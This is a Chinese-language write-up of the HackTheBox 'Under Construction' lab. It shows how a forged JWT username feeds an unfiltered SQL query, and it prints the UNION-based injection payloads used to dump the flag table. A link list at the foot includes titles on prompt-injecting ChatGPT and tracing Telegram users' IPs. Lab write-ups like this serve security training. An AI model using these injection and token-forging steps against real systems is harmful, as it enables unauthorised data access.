【HackTheBox】攻克靶机实战Under Construction攻略分享

admin 2023年5月14日21:15:02评论49 views字数 2376阅读7分55秒阅读模式


【HackTheBox】攻克靶机实战Under Construction攻略分享


下载文件

【HackTheBox】攻克靶机实战Under Construction攻略分享


信息收集

访问网站,查看页面基本信息

 

【HackTheBox】攻克靶机实战Under Construction攻略分享

页面功能有注册、登录。

思路如下:

1》登录存在sql注入,通过查看字段值展示flag

2》注册任意账号,登录平台,登录成功后利用漏洞存在展示flag



登录功能

登录抓包,使用sqlmapsql注入,尝试失败

尝试弱口令登录,尝试失败



注册功能

注册admin/admin可直接登录,用户名展示在登录成功后的页面。

【HackTheBox】攻克靶机实战Under Construction攻略分享


猜测用户名为md5(1),展示时是否为c4ca4238a0b923820dcc509a6f75849b。若md5(1)计算,证明可通过此处展示flag。经验证,猜测错误。

用户登录时,响应码有session,符合JWT风格。

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案

【HackTheBox】攻克靶机实战Under Construction攻略分享

session与访问登录后的页面的session一致。

【HackTheBox】攻克靶机实战Under Construction攻略分享

通过登录页面验证账号密码正确。则返回session值,携带session可访问登录成功后的页面。将该sessionhttps://jwt.io/中解析

【HackTheBox】攻克靶机实战Under Construction攻略分享

接着代码分析,梳理登录的代码逻辑与seesion之间关系



代码分析

Index.js为关键代码

【HackTheBox】攻克靶机实战Under Construction攻略分享

可见是,根据req.data.username的值,查询数据库中是否存在


1》数据库中查询函数如何

【HackTheBox】攻克靶机实战Under Construction攻略分享

该处username值未经过滤可直接查询,易造成sql注入。需进一步判断username的值是否可控。


2req.data.username的值如何来

【HackTheBox】攻克靶机实战Under Construction攻略分享

通过解码JWTsession来获得username

由上知,JWTsession,我们可以构造username用于手注,进而展示flag在登录页面处

【HackTheBox】攻克靶机实战Under Construction攻略分享

代码可见解码方式为这两种均可

【HackTheBox】攻克靶机实战Under Construction攻略分享


漏洞利用

直接更改username中值,得出编码后的值,替代session

【HackTheBox】攻克靶机实战Under Construction攻略分享

将替代后的session重新发请求,返回500

【HackTheBox】攻克靶机实战Under Construction攻略分享

故尝试编写代码。需要调整username为可利用的代码,接着进行编码。

pip install pyjwt==0.4.3

【HackTheBox】攻克靶机实战Under Construction攻略分享

将此session重发包,发现session能成功使用。并非像之前响应码为500

【HackTheBox】攻克靶机实战Under Construction攻略分享

接着手动注册账号admin1,再次发包

【HackTheBox】攻克靶机实战Under Construction攻略分享

说明构造成功。


接着尝试通过构造usernamepayload成功注入并展示在上述位置

1admin

【HackTheBox】攻克靶机实战Under Construction攻略分享

返回异常,证明sql注入可能存在


2admin1' and 1=2--admin1' and 1=1--

Username=admin1' and 1=1--

【HackTheBox】攻克靶机实战Under Construction攻略分享

Username=admin1' and 1=2--

【HackTheBox】攻克靶机实战Under Construction攻略分享

两者返回内容不同,证明sql注入存在


3admin1' order by 3--admin1' order by 4--

admin1' order by 4-时页面异常

【HackTheBox】攻克靶机实战Under Construction攻略分享

admin1' order by 3--时页面正常

【HackTheBox】攻克靶机实战Under Construction攻略分享

说明字段数为3


4》接下来猜解哪个字段会展示在页面中

【HackTheBox】攻克靶机实战Under Construction攻略分享

2字段展示在页面中


5》爆出表名flag_storage

【HackTheBox】攻克靶机实战Under Construction攻略分享


6》爆建表语句

【HackTheBox】攻克靶机实战Under Construction攻略分享


7》爆数据

admin1' union select 1,group_concat(top_secret_flaag),3 from flag_storage--

【HackTheBox】攻克靶机实战Under Construction攻略分享

Flag:HTB{d0n7_3xp053_y0ur_publ1ck3y}

如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

   进入星球你需要注意:

1.如果是伸手党,请离开,星球的本质是解决问题思路,而不是解决懒惰。

2.如果你是个爱思考的小伙伴,我们愿意分享知识总结,与你一起进步。

3.星球旨在为有疑问和困惑的人提供有价值的帮助和支持,鼓励读者通过自己的思考和努力来解决问题。

4.涉及知识面:漏洞挖掘、CTF、企业安全建设、网络边界安全、GAN网络、web3.0安全、安全运营、打击涉网犯罪、哲学法家、等行业全知识面覆盖

5.提供咨询服务,按问题小时付费,语音沟通,满意付款。

【HackTheBox】攻克靶机实战Under Construction攻略分享



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!



【HackTheBox】攻克靶机实战Under Construction攻略分享

如何打击互联网黑灰色产业链犯罪:我总结了6个关键点

隐藏的危险:Apache Superset三个RCE漏洞浅析

一篇完整的甲方内部防钓鱼演练方案【可直接抄作业】

阿里云WAF3.0命令执行Bypass,也是WAF的通病

漏洞治理难度大?建立完善的漏洞管理流程是关键!

从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

漏洞治理难度大?建立完善的漏洞管理流程是关键!

【盗币科普】你可千万不能这样盗别人的虚拟货币钱包

关于打击跨境网络赌博犯罪,我们如何侦查?我的建议和想法

【完结篇】微信泄露手机号事件的回顾与总结

批量截获机场节点:科学上网工具安全分析

防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)

【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。

一次完整的GPT-4代码审计,挖掘CMSeasy漏洞

我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)

从零开始,手把手教您如何开通ChatGPT Plus开启GPT-4之旅(depay,nobepay,某宝)

Burpsuite最新版+四款Burpsuite插件,帮你扫描JS文件中的URL链接!


原文始发于微信公众号(安全女巫):【HackTheBox】攻克靶机实战Under Construction攻略分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月14日21:15:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox】攻克靶机实战Under Construction攻略分享http://cn-sec.com/archives/1731545.html

发表评论

匿名网友 填写信息